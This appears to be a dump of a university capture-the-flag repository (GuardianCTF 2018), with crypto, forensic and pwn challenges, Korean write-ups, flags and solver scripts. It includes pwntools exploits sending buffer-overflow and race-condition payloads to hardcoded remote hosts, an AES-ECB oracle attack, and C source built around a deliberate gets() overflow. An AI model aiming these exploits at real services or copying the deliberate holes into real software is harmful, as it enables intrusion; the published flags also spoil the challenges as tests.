'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~' 4 | 5 | header = 'A' * 11 6 | footer = 'A' 7 | injected_index = 2 8 | 9 | result = 'AAAAAA secret: ' 10 | footer = 'AAAAAA' + 'A' * 16 11 | offset = len(result) 12 | 13 | def gen_msg(x, code): 14 | message = '''Agent, 15 | Greetings. My situation report is as follows: 16 | {0} 17 | My agent identifying code is: {1}. 18 | Down with the Soviets, 19 | 006 20 | '''.format(x, code) 21 | return message 22 | 23 | ''' 24 | guardian-auth-to 25 | ken: AAAAAAAAAAA 26 | AAAAA secret: ?A 27 | AAAAAAAAAAAAAAAA 28 | AAAAA secret: F 29 | ''' 30 | ''' 31 | Agent, Greetings 32 | . My situation r 33 | eport is as foll 34 | ows: AAAAAAAAAAA 35 | de is: picoctf{? 36 | AAAAAAAA My agen 37 | t identifying co 38 | de is: picoctf{? 39 | ''' 40 | 41 | ''' 42 | Agent, Greetings 43 | . My situation r 44 | eport is as foll 45 | ows: AAAAAAAAAAA 46 | de is: picoCTF{0 47 | AAAAAAAA My agen 48 | t identifying co 49 | de is: picoCTF{C 50 | ODE. Down with the Soviets, 51 | 006 52 | 53 | ''' 54 | 55 | 56 | prev = '' 57 | 58 | i = len(prev) 59 | result += prev 60 | 61 | def split(d, n): 62 | result = [] 63 | while True: 64 | cur = d[:n] 65 | if cur == '': 66 | break 67 | result.append(cur) 68 | d = d[n:] 69 | return result 70 | 71 | 72 | r = remote('ctf.snucse.org', 40002) 73 | while '}' not in result: 74 | for c in string.printable: 75 | found = False 76 | while True: 77 | try: 78 | cur = header + result[-15:] + c + 'A' * (16 - i % 16) 79 | cur += footer 80 | r.sendlineafter('name?> ', cur) 81 | r.readuntil('your token is b\'') 82 | data = r.readline().strip()[:-1] 83 | block = data[injected_index*32:(injected_index+1)*32] 84 | data = data[(injected_index+1)*32:] 85 | except EOFError: 86 | pass 87 | break 88 | 89 | if block in split(data, 32): 90 | result += c 91 | found = True 92 | break 93 | if not found: 94 | print i 95 | exit() 96 | print result[offset:] 97 | i += 1 98 | print result[offset:] 99 | -------------------------------------------------------------------------------- /crypto/token-generator/flag: -------------------------------------------------------------------------------- 1 | GuardianCTF{nobody_use_this_idiot_token_generator_1f0d4bc73d10b70ae0c67875d2b4dc66edb17ada} 2 | -------------------------------------------------------------------------------- /crypto/token-generator/key: -------------------------------------------------------------------------------- 1 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 2 | -------------------------------------------------------------------------------- /crypto/token-generator/release/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.6 2 | 3 | RUN apt update && apt upgrade -y 4 | RUN apt install -y socat 5 | RUN pip install pycrypto 6 | 7 | WORKDIR /root 8 | COPY flag . 9 | COPY key . 10 | COPY server.py . 11 | 12 | CMD socat TCP-LISTEN:8000,fork,reuseaddr EXEC:"python server.py" 13 | -------------------------------------------------------------------------------- /crypto/token-generator/release/flag: -------------------------------------------------------------------------------- 1 | GuardianCTF{nobody_use_this_idiot_token_generator_1f0d4bc73d10b70ae0c67875d2b4dc66edb17ada} 2 | -------------------------------------------------------------------------------- /crypto/token-generator/release/key: -------------------------------------------------------------------------------- 1 | aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 2 | -------------------------------------------------------------------------------- /crypto/token-generator/release/server.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | import binascii 3 | 4 | with open('flag', 'rt') as f: 5 | flag = f.read().strip() 6 | 7 | with open('key', 'rt') as f: 8 | key = binascii.unhexlify(bytes(f.read().strip().encode('ascii'))) 9 | 10 | def pad(s): 11 | pad_len = 16 - len(s) % 16 12 | return s + (chr(pad_len) * pad_len).encode('latin-1') 13 | 14 | def enc(s): 15 | cipher = AES.new(key,AES.MODE_ECB) 16 | return cipher.encrypt(pad(s)) 17 | 18 | print('guardian token service') 19 | while True: 20 | name = input(f'name?> ') 21 | auth_token = f'guardian-auth-token: {name} secret: {flag}'.encode('latin-1') 22 | print(f'your token is {binascii.hexlify(enc(auth_token))}') 23 | -------------------------------------------------------------------------------- /crypto/token-generator/server.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | import binascii 3 | 4 | with open('flag', 'rt') as f: 5 | flag = f.read().strip() 6 | 7 | with open('key', 'rt') as f: 8 | key = binascii.unhexlify(bytes(f.read().strip().encode('ascii'))) 9 | 10 | def pad(s): 11 | pad_len = 16 - len(s) % 16 12 | return s + (chr(pad_len) * pad_len).encode('latin-1') 13 | 14 | def enc(s): 15 | cipher = AES.new(key,AES.MODE_ECB) 16 | return cipher.encrypt(pad(s)) 17 | 18 | print('guardian token service') 19 | while True: 20 | name = input(f'name?> ') 21 | auth_token = f'guardian-auth-token: {name} secret: {flag}'.encode('latin-1') 22 | print(f'your token is {binascii.hexlify(enc(auth_token))}') 23 | -------------------------------------------------------------------------------- /crypto/youtube/README.md: -------------------------------------------------------------------------------- 1 | # Youtube 2 | 3 | > author: 김무환(minty99) / difficulty: easy / points: 100 4 | 5 | ## Description 6 | 7 | 텍스트 파일의 비밀을 알아내세요! 8 | (플래그 형태는 GuardianCTF{???????????} 입니다. GuardianCTF 부분의 대소문자에 유의하세요) 9 | 10 | ## Hint 1 (20pt) 11 | 12 | https://en.wikipedia.org/wiki/Letter_frequency 13 | 14 | ## Writeup 15 | 16 | 주어진 파일은 Mariah Carey의 All I Want For Christmas Is You라는 노래의 가사를 Letter Frequency 순서대로 변환한 것이다. (가장 많이 쓰이는 'e' -> 'a', 그 다음인 't' -> 'b' 이런 식으로 변환함) 17 | 이를 이용해 파일을 해독하면 노래 가사가 나오고, 시작 부분에 플래그를 만드는 방법이 주어진다. 18 | > Get URL of this song's official music video in Youtube! Answer form: If URL is https://www.youtube.com/watch?v=?????????? then, you should submit GuardianCTF{??????????} 19 | 20 | 따라서 정답은 https://www.youtube.com/watch?v=yXQViqx6GMY, 즉 GuardianCTF{yXQViqx6GMY} 21 | 22 | ## How to run 23 | 24 | Just deploy youtube.txt 25 | -------------------------------------------------------------------------------- /crypto/youtube/binary/youtube.txt: -------------------------------------------------------------------------------- 1 | qab mik dp bheg gdfq'g dppeleck nmgel uejad ef rdmbmta! 2 | cfgoai pdin: ep mik eg hbbsg://ooo.rdmbmta.ldn/ocblh?u=?????????? bhaf, rdm ghdmkj gmtneb qmcijecflbp{??????????} 3 | 4 | e jdf'b ocfb c kdb pdi lhiegbncg 5 | bhaia eg wmgb dfa bhefq e faaj 6 | e jdf'b lcia ctdmb bha siagafbg 7 | mfjaifacbh bha lhiegbncg biaa 8 | 9 | e wmgb ocfb rdm pdi nr dof 10 | ndia bhcf rdm ldmkj auai vfdo 11 | ncva nr oegh ldna bima 12 | ckk e ocfb pdi lhiegbncg eg rdm, rach. 13 | 14 | e jdf'b ocfb c kdb pdi lhiegbncg 15 | bhaia eg wmgb dfa bhefq e faaj 16 | cfj e jdf'b lcia ctdmb bha siagafbg 17 | mfjaifacbh bha lhiegbncg biaa 18 | 19 | e jdf'b faaj bd hcfq nr gbdlvefq 20 | bhaia msdf bha peiaskcla 21 | gcfbc lkcmg odf'b ncva na hcssr 22 | oebh c bdr df lhiegbncg jcr 23 | 24 | e wmgb ocfb rdm pdi nr dof 25 | ndia bhcf rdm ldmkj auai vfdo 26 | ncva nr oegh ldna bima 27 | ckk e ocfb pdi lhiegbncg eg rdm 28 | rdm, tctr 29 | 30 | dh, e odf'b cgv pdi nmlh bheg lhiegbncg 31 | e odf'b auaf oegh pdi gfdo 32 | cfj e'n wmgb qdffc vaas df ocebefq 33 | mfjaifacbh bha negbkabda 34 | 35 | e odf'b ncva c kegb cfj gafj eb 36 | bd bha fdibh sdka pdi gcefb felv 37 | e odf'b auaf gbcr cocva bd 38 | haci bhdga ncqel iaefjaai lkelv 39 | 40 | 'lcmga e wmgb ocfb rdm haia bdfeqhb 41 | hdkjefq df bd na gd beqhb 42 | ohcb ndia lcf e jd? 43 | tctr, ckk e ocfb pdi lhiegbncg eg rdm 44 | rdm, tctr 45 | 46 | dh, ckk bha keqhbg cia ghefefq gd tieqhbkr auairohaia 47 | cfj bha gdmfj dp lhekjiaf'g kcmqhbai pekkg bha cei 48 | 49 | cfj auairdfa eg gefqefq 50 | e haci bhdga gkaeqh takkg iefqefq 51 | gcfbc, odf'b rdm tiefq na bha dfa e iackkr faaj? 52 | odf'b rdm skacga tiefq nr tctr bd na? 53 | 54 | dh, e jdf'b ocfb c kdb pdi lhiegbncg 55 | bheg eg ckk e'n cgvefq pdi 56 | e wmgb ocffc gaa nr tctr 57 | gbcfjefq ieqhb dmbgeja nr jddi 58 | 59 | dh, e wmgb ocfb rdm pdi nr dof 60 | ndia bhcf rdm ldmkj auai vfdo 61 | ncva nr oegh ldna bima 62 | tctr, ckk e ocfb pdi lhiegbncg eg rdm 63 | rdm, tctr 64 | 65 | ckk e ocfb pdi lhiegbncg eg rdm, tctr 66 | ckk e ocfb pdi lhiegbncg eg rdm, tctr 67 | ckk e ocfb pdi lhiegbncg eg rdm, tctr 68 | ckk e ocfb pdi lhiegbncg eg rdm, tctr 69 | -------------------------------------------------------------------------------- /forensic/a_copy_of_disk/README.md: -------------------------------------------------------------------------------- 1 | # Good Listener 2 | > author: 신동진(maro) / difficulty: difficult / points: 600 3 | 4 | ## Description 5 | 6 | 당신은 maro에게 중요한 디스크의 복사본을 요청했다. 그런데, 짜잔! 7 | 당신에게 온 복사본은 그 복사본이 아니었다. 분노한 당신은 maro에게 따졌으나 8 | 그는 분명히 당신에게 필요한 걸 주었다고 말하고 있다. 데이터를 찾아내라. 9 | 10 | ## Hint 1 11 | 12 | RGBA (250) 13 | 14 | ## Hint 2 15 | 16 | 플로피 디스크는 어떤 파일 시스템을 사용하는가? (250) 17 | 18 | ## Writeup 19 | 20 | 이미지를 확대하면 각 픽셀에 옅은 색 차이로 16진수가 쓰여있는 것을 알 수 있다. 21 | 굉장히 옅게 쓰여있어 알아보기 어려우나, RGB값이 아닌 alpha 채널로 마스킹되어 있고 22 | 각 숫자는 모두 같은 모양으로 쓰여있으므로 이를 어렵지 않게 데이터화할 수 있다. 23 | 24 | 이 바이너리는 헤더와 구조를 보면 FAT 덤프인 것을 알 수 있다. (정확히는 FAT12로, 실제로 25 | floppy disk에 사용되는 파일 포맷이다) 26 | `mount`등의 명령어를 이용해 파일 시스템을 열어보면 안에서 flag.txt를 찾을 수 있다. 27 | 28 | *flag: GuardianCTF{i_t01d_y0u_th1s_i5_th3_pr0p3r_0n3}* 29 | 30 | ## How to run 31 | 32 | - Just deploy `copy.png` 33 | -------------------------------------------------------------------------------- /forensic/a_copy_of_disk/binary/copy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/forensic/a_copy_of_disk/binary/copy.png -------------------------------------------------------------------------------- /forensic/a_copy_of_disk/src/disk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/forensic/a_copy_of_disk/src/disk.png -------------------------------------------------------------------------------- /forensic/a_copy_of_disk/src/disk_reshape.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/forensic/a_copy_of_disk/src/disk_reshape.png -------------------------------------------------------------------------------- /forensic/a_copy_of_disk/src/gen.py: -------------------------------------------------------------------------------- 1 | import numpy as np 2 | import imageio 3 | 4 | 5 | def main(): 6 | image = np.array(imageio.imread('disk_reshape.png')) 7 | w, h = 320, 160 8 | mask_raw = np.array(imageio.imread('mask.png'))[:, :, 0] 9 | print(image.shape) 10 | print(mask_raw.shape) 11 | mask = [mask_raw[:, i * 5: (i + 1) * 5] for i in range(16)] 12 | zero_mask = mask[9] 13 | mask[0:8] = mask[1:9] 14 | mask[0] = zero_mask 15 | 16 | with open('test.img', 'rb') as f: 17 | data = f.read() 18 | alpha = np.ones(shape=image.shape[:2], dtype=image.dtype) 19 | for i, c in enumerate(data): 20 | d1, d2 = c // 0x10, c % 0x10 21 | mask_patch = np.concatenate((mask[d1], mask[d2]), axis=1) 22 | y, x = i //w, i % w 23 | alpha[y * 10 : (y + 1) * 10, x * 10 : (x + 1) * 10] = mask_patch 24 | np.place(alpha, alpha == 0, 240) 25 | result = np.concatenate((image, np.expand_dims(alpha, axis=2)), axis=2) 26 | print(result.shape) 27 | print(result.dtype) 28 | imageio.imwrite('copy.png', result) 29 | 30 | 31 | if __name__ == '__main__': 32 | main() 33 | -------------------------------------------------------------------------------- /forensic/a_copy_of_disk/src/mask.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/forensic/a_copy_of_disk/src/mask.png -------------------------------------------------------------------------------- /forensic/a_copy_of_disk/src/test.img: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/forensic/a_copy_of_disk/src/test.img -------------------------------------------------------------------------------- /forensic/blink/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/forensic/blink/.gitkeep -------------------------------------------------------------------------------- /forensic/blink/README.md: -------------------------------------------------------------------------------- 1 | # Blink 2 | 3 | > author: 이성찬(calofmijuck) / difficulty: baby / points: 10 4 | 5 | ## Description 6 | 7 | Welcome to GuardianCTF! 8 | 9 | ## Writeup 10 | 11 | 동영상을 자세히 본다. 12 | 13 | ## How to run 14 | 15 | - Just deploy `blink.mp4` 16 | 17 | ## Flag 18 | > GuardianCTF{b1ink1o7} -------------------------------------------------------------------------------- /forensic/blink/b1ink.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/forensic/blink/b1ink.mp4 -------------------------------------------------------------------------------- /forensic/creamheroes/README.md: -------------------------------------------------------------------------------- 1 | # Creamheroes 2 | > author: 신동진(maro) / difficulty: normal / points: 300 3 | 4 | ## Description 5 | 6 | maro가 숨겨진 사진을 고양이들 사이에 숨겨놓았다고 한다. 7 | 8 | ## Hint 1 9 | 10 | https://en.wikipedia.org/wiki/JPEG#Syntax_and_structure (10) 11 | 12 | ## Hint 2 13 | 14 | https://en.wikipedia.org/wiki/Portable_Network_Graphics#File_header (50) 15 | 16 | ## Writeup 17 | 18 | 7개의 jpg 파일은 모두 EOI 이후에 연속된 0들 이후에 데이터가 더 붙어 있고, 이 중 하나는 IHDR으로 시작하여 19 | png 파일임을 알 수 있다. 20 | IHDR이 포함된 데이터를 시작으로 하여, 나머지 6개 파일을 6! = 720가지 조합해보고 이 중 올바른 플래그가 들어있는 21 | 이미지를 확인할 수 있다. 22 | 23 | *flag: GuardianCTF{C4TS_4RE_Sup3r_cute_N0_obj3cti0n_a110wed}* 24 | 25 | ## How to run 26 | 27 | - Just deploy `creamheroes.zip` 28 | -------------------------------------------------------------------------------- /forensic/creamheroes/binary/creamheroes.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/forensic/creamheroes/binary/creamheroes.zip -------------------------------------------------------------------------------- /forensic/interstellar/README.md: -------------------------------------------------------------------------------- 1 | # Interstellar 2 | 3 | > author: 김무환(minty99) / difficulty: normal / points: 200 (Lv1: 100, Lv2: 100) 4 | 5 | ## Description 6 | 7 | Capture the flag! 8 | You can try level 2 after solve level 1. 9 | 10 | ## Hint 1 (for level 1) (40pt) 11 | 12 | https://en.wikipedia.org/wiki/Base64 13 | 14 | ## Hint 2 (for level 1) (50pt) 15 | 16 | 텍스트 파일은 아닌 거 같고... 그럼 뭐지? 다른 방식으로 열어보자. 17 | 18 | ## Hint 3 (for level 2) (20pt) 19 | 20 | 이미지 파일에 정보를 숨기는 방법이 있을까? 또, 과연 그냥 숨겨놓았을까? 21 | 22 | ## Writeup 23 | - Level 1: 압축을 풀면 나오는 텍스트 파일은 base64 decoding을 하면 zip 형태의 압축파일이 된다. 압축을 해제하면 level1.txt와 level2.zip을 얻는다. level1.txt는 사실 PNG(또는 JPG로도 열린다) 형태의 그림 파일이다. 그림 파일을 열면 플래그가 적혀 있다. 이 플래그를 사용하면 level2.zip의 압축을 해제할 수 있다. 해제하면 level2.jpg를 얻는다. 24 | - Level 2: level2.jpg를 Hex Editor로 열어서 맨 끝부분을 보면 DO_YOU_WANT_FLAG?뒤에 이상한 문자열이 보인다. 이 문자열을 ASCII 코드 기준으로 -1씩 해주면 플래그가 된다. 25 | 26 | ## How to run 27 | - Just deploy interstellar.zip 28 | -------------------------------------------------------------------------------- /forensic/interstellar/binary/interstellar.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/forensic/interstellar/binary/interstellar.zip -------------------------------------------------------------------------------- /forensic/noisy/README.md: -------------------------------------------------------------------------------- 1 | # Noisy 2 | 3 | > author: 신동진(maro) / difficulty: normal / points: 450 4 | 5 | ## Description 6 | 7 | 이미지 파일로부터 데이터를 추출하세요. 8 | 9 | ## Hint 1 10 | 11 | 총 81개의 QR코드가 존재한다. (20) 12 | 13 | ## Hint 2 14 | 15 | 자연수를 QR 코드로 나타내려면 어떻게 할 수 있을까? (60) 16 | 17 | ## Writeup 18 | 19 | `noisy.png`의 81개인 100x100 영역은 각각 QR code 이미지이다. 20 | 각각을 decode하면 정수를 하나씩 얻는데, 이 숫자들을 이진수로 나타내면 21 | 대부분 길이가 25이고 아니면 약간 더 짧다. 이를 5x5의 흑백 이미지로 나타내고 22 | 81개를 원래 위치대로 붙이면 하나의 큰 QR코드를 얻고, 이를 decode하면 플래그를 얻는다. 23 | 24 | *flag: GuardianCTF{qRc0d3_fr4cTa1}* 25 | 26 | ## How to run 27 | 28 | - Just deploy `noisy.png` 29 | -------------------------------------------------------------------------------- /forensic/noisy/binary/noisy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/forensic/noisy/binary/noisy.png -------------------------------------------------------------------------------- /forensic/noisy/src/check.py: -------------------------------------------------------------------------------- 1 | from pyzbar.pyzbar import decode 2 | import numpy as np 3 | import imageio 4 | 5 | 6 | def check(path): 7 | image = np.array(imageio.imread(path)) 8 | arr = np.zeros(shape=(45, 45), dtype=np.uint8) 9 | patch_size = 100 10 | for i in range(image.shape[0] // patch_size): 11 | for j in range(image.shape[1] // patch_size): 12 | d = decode(image[i * patch_size : (i + 1) * patch_size, j * patch_size : (j + 1) * patch_size])[0].data 13 | n = bin(int(d.decode()))[2:] 14 | n = '0' * (25 - len(n)) + n 15 | d = np.array([int(c) for c in n]) 16 | d = d.reshape((5, 5)) 17 | arr[i * d.shape[0]: (i + 1) * d.shape[0], j * d.shape[1] : (j + 1) * d.shape[1]] = d 18 | 19 | return decode(np.repeat(np.repeat(arr, 4, axis=0), 4, axis=1) * 255)[0].data 20 | 21 | if __name__ == '__main__': 22 | print(check('../binary/noisy.png').decode()) 23 | -------------------------------------------------------------------------------- /forensic/noisy/src/generate.py: -------------------------------------------------------------------------------- 1 | import qrcode 2 | import numpy as np 3 | import random 4 | import imageio 5 | 6 | 7 | def gen_qr(data, version=1, box_size=1, correction=qrcode.constants.ERROR_CORRECT_H, border=0): 8 | qr = qrcode.QRCode( 9 | version=version, 10 | error_correction=correction, 11 | box_size=box_size, 12 | border=border 13 | ) 14 | qr.add_data(data) 15 | qr.make(fit=True) 16 | 17 | img = qr.make_image(fill_color='black', back_color='white') 18 | data = np.array(img, dtype=np.int64) 19 | return data 20 | 21 | 22 | def size_test(): 23 | for patch_size in range(1, 60): 24 | payload = '0' * (patch_size ** 2) 25 | for v in range(1, 41): 26 | try: 27 | patch_qr = gen_qr(payload, version=v) 28 | except qrcode.exceptions.DataOverflowError: 29 | continue 30 | else: 31 | factor = patch_qr.shape[0] // patch_size 32 | left = patch_qr.shape[0] - factor * patch_size 33 | print(patch_size, patch_qr.shape, factor, patch_size - left) 34 | break 35 | 36 | def generate(flag): 37 | data = gen_qr(flag, version=7, box_size=1) 38 | patch_size = 5 39 | 40 | patch_list = list() 41 | for i in range(0, data.shape[0], patch_size): 42 | for j in range(0, data.shape[1], patch_size): 43 | patch_list.append((i , j)) 44 | 45 | # setup 46 | x, y = patch_list[0] 47 | patch_data = str(int(''.join([str(c) for c in list(data[x:x+patch_size, y:y+patch_size].flatten())]), 2)) 48 | for v in range(1, 41): 49 | try: 50 | patch_qr = gen_qr(patch_data, version=v) 51 | except qrcode.exceptions.DataOverflowError: 52 | continue 53 | else: 54 | factor = patch_qr.shape[0] // patch_size 55 | padding = patch_qr.shape[0] - factor * patch_size 56 | if padding > 0: 57 | continue 58 | else: 59 | break 60 | 61 | # emplace 62 | large_data = np.repeat(np.repeat(data, factor, axis=0), factor, axis=1) 63 | for x, y in patch_list: 64 | patch_data = str(int(''.join([str(c) for c in list(data[x:x+patch_size, y:y+patch_size].flatten())]), 2)) 65 | patch_qr = np.rot90(gen_qr(patch_data, version=v), k=random.randint(0, 3)) 66 | large_data[x * factor : x * factor + patch_qr.shape[0], y * factor : y * factor + patch_qr.shape[1]] = patch_qr 67 | 68 | print(large_data.shape) 69 | imageio.imwrite('code.png', np.repeat(np.repeat(large_data, 4, axis=0), 4, axis=1) * 255) 70 | 71 | 72 | if __name__ == '__main__': 73 | generate('GuardianCTF{qRc0d3_fr4cTa1}') 74 | -------------------------------------------------------------------------------- /pwn/bank_robber/README.md: -------------------------------------------------------------------------------- 1 | # Bank Robber 2 | > author: 이진우(munji) / difficulty: easy / points: 150 3 | 4 | ## Description 5 | Hi, new hacker! 6 | Can you rob bank? 7 | 8 | ## Write up 9 | 아주 단순한 race condition. 10 | 처음 500원을 가지고 있는데 500원을 2번 예금하면 -500원이 되고, unsigned여서 돈이 매우 커진다(integer underflow). 11 | 이 상태로 flag 메뉴로 가면 플래그를 읽을 수 있다. 12 | 13 | ## Hint 14 | - `What's race condition?` (10 points) 15 | - `What's integer underflow, overflow` (10 points) 16 | -------------------------------------------------------------------------------- /pwn/bank_robber/binary/bank_robber: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/pwn/bank_robber/binary/bank_robber -------------------------------------------------------------------------------- /pwn/bank_robber/exploit/ex.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process('./bank_robber') 4 | r = remote('106.10.34.139', 20001) 5 | 6 | r.sendline('munji') 7 | r.sendlineafter('away\n', '1') 8 | r.sendlineafter('Amount: ', '500') 9 | r.sendlineafter('away\n', '1') 10 | r.sendlineafter('Amount: ', '500') 11 | sleep(1) 12 | r.sendlineafter('away\n', '4') 13 | 14 | r.interactive() 15 | -------------------------------------------------------------------------------- /pwn/bank_robber/release/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN apt update && apt upgrade -y 4 | RUN apt install -y xinetd 5 | 6 | RUN adduser bank_robber 7 | COPY flag.txt /home/bank_robber/ 8 | COPY run.sh /home/bank_robber/ 9 | COPY bank_robber /home/bank_robber/ 10 | 11 | COPY pwn /etc/xinetd.d/ 12 | RUN echo "pwn 8000/tcp" >> /etc/services 13 | EXPOSE 8000 14 | 15 | CMD /usr/sbin/xinetd -dontfork 16 | -------------------------------------------------------------------------------- /pwn/bank_robber/release/bank_robber: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/pwn/bank_robber/release/bank_robber -------------------------------------------------------------------------------- /pwn/bank_robber/release/flag.txt: -------------------------------------------------------------------------------- 1 | GuardianCTF{F1ght1ng_B4nk_R0bb3r} 2 | -------------------------------------------------------------------------------- /pwn/bank_robber/release/pwn: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | flags = REUSE 5 | socket_type = stream 6 | protocol = tcp 7 | user = bank_robber 8 | wait = no 9 | server = /home/bank_robber/run.sh 10 | } 11 | -------------------------------------------------------------------------------- /pwn/bank_robber/release/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | cd /home/bank_robber 4 | timeout 60 ./bank_robber 5 | -------------------------------------------------------------------------------- /pwn/bank_robber/src/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | gcc bank_robber.c -o bank_robber -lpthread 4 | -------------------------------------------------------------------------------- /pwn/bof_study/README.md: -------------------------------------------------------------------------------- 1 | # BOF study 2 | > author: 이진우(munji) / difficulty: baby / points: 10 + 20 3 | 4 | ## Description 5 | Do you know Gangnam Style? Do you know BOF? 6 | Let's learn baby hackers! 7 | 8 | ## Write up 9 | 위쪽에 있는 check 버퍼를 `\x11\x22\x33\x44\x55\x66`으로 맞춰주면 첫번째 플래그를 얻을 수 있다. 10 | 또, bof를 이용해서 return address에 두번째 플래그를 출력시켜주는 함수의 주소를 넣으면 두번째 플래그가 출력된다. 11 | 12 | ## Hint 13 | - `BOF is Buffer Overflow` (0 points) 14 | - `eip? return address?? stack frame???` (3 points) 15 | 16 | -------------------------------------------------------------------------------- /pwn/bof_study/binary/bof_study: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/pwn/bof_study/binary/bof_study -------------------------------------------------------------------------------- /pwn/bof_study/exploit/ex1.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process('./bof_study') 4 | r = remote('106.10.34.139', 20000) 5 | 6 | r.sendlineafter('Give me some bytes\n', 'a'*16 + '\x11\x22\x33\x44\x55\x66') 7 | r.interactive() 8 | -------------------------------------------------------------------------------- /pwn/bof_study/exploit/ex2.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #r = process('./bof_study') 4 | r = remote('106.10.34.139', 20000) 5 | 6 | r.sendlineafter('Give me some bytes\n', 'a'*0x28 + p64(0x400826)) 7 | 8 | r.interactive() 9 | -------------------------------------------------------------------------------- /pwn/bof_study/release/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN apt update && apt upgrade -y 4 | RUN apt install -y xinetd 5 | 6 | RUN adduser bof_study 7 | COPY flag1.txt /home/bof_study/ 8 | COPY flag2.txt /home/bof_study/ 9 | COPY run.sh /home/bof_study/ 10 | COPY bof_study /home/bof_study/ 11 | 12 | COPY pwn /etc/xinetd.d/ 13 | RUN echo "pwn 8000/tcp" >> /etc/services 14 | EXPOSE 8000 15 | 16 | CMD /usr/sbin/xinetd -dontfork 17 | -------------------------------------------------------------------------------- /pwn/bof_study/release/bof_study: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/pwn/bof_study/release/bof_study -------------------------------------------------------------------------------- /pwn/bof_study/release/flag1.txt: -------------------------------------------------------------------------------- 1 | GuardianCTF{P1ec3_0f_C4k3} 2 | -------------------------------------------------------------------------------- /pwn/bof_study/release/flag2.txt: -------------------------------------------------------------------------------- 1 | GuardianCTF{Y0u_4re_h4ck3r_n0w} 2 | -------------------------------------------------------------------------------- /pwn/bof_study/release/pwn: -------------------------------------------------------------------------------- 1 | service pwn 2 | { 3 | disable = no 4 | flags = REUSE 5 | socket_type = stream 6 | protocol = tcp 7 | user = bof_study 8 | wait = no 9 | server = /home/bof_study/run.sh 10 | } 11 | -------------------------------------------------------------------------------- /pwn/bof_study/release/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | cd /home/bof_study 4 | timeout 60 ./bof_study 5 | -------------------------------------------------------------------------------- /pwn/bof_study/src/bof_study.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | void flag2() { 7 | char flag[0x100]; 8 | puts("Wow! You find 2nd stage!!"); 9 | puts("Now you can control PC"); 10 | FILE *fp = fopen("flag2.txt", "r"); 11 | fgets(flag, 0x100, fp); 12 | fclose(fp); 13 | printf("flag2: %s\n", flag); 14 | } 15 | 16 | void flag1() { 17 | char flag[0x100]; 18 | puts("Okay, now you understand Buffer Overflow!"); 19 | FILE *fp = fopen("flag1.txt", "r"); 20 | fgets(flag, 0x100, fp); 21 | fclose(fp); 22 | printf("flag1: %s\n", flag); 23 | } 24 | 25 | void bof() { 26 | char check[16] = "\x12\x34\x56\x78\x9a\xbc\xde\xf0"; 27 | char buffer[8]; 28 | puts("\n\n\nWe're in the BOF world!"); 29 | sleep(1); 30 | puts("Give me some bytes"); 31 | gets(buffer); 32 | 33 | if (memcmp(check, "\x11\x22\x33\x44\x55\x66", 6) == 0) 34 | flag1(); 35 | 36 | puts("So tasty :)"); 37 | } 38 | 39 | int main() { 40 | int i; 41 | 42 | setvbuf(stdin, 0, 2, 0); 43 | setvbuf(stdout, 0, 2, 0); 44 | 45 | puts("This problem is for baby pwners"); 46 | sleep(1); 47 | puts("So, what's BOF?"); 48 | sleep(1); 49 | puts("Let's learn about it!"); 50 | sleep(1); 51 | for (i=0; i<3; i++) { 52 | printf("."); 53 | sleep(1); 54 | } 55 | bof(); 56 | return 0; 57 | } 58 | -------------------------------------------------------------------------------- 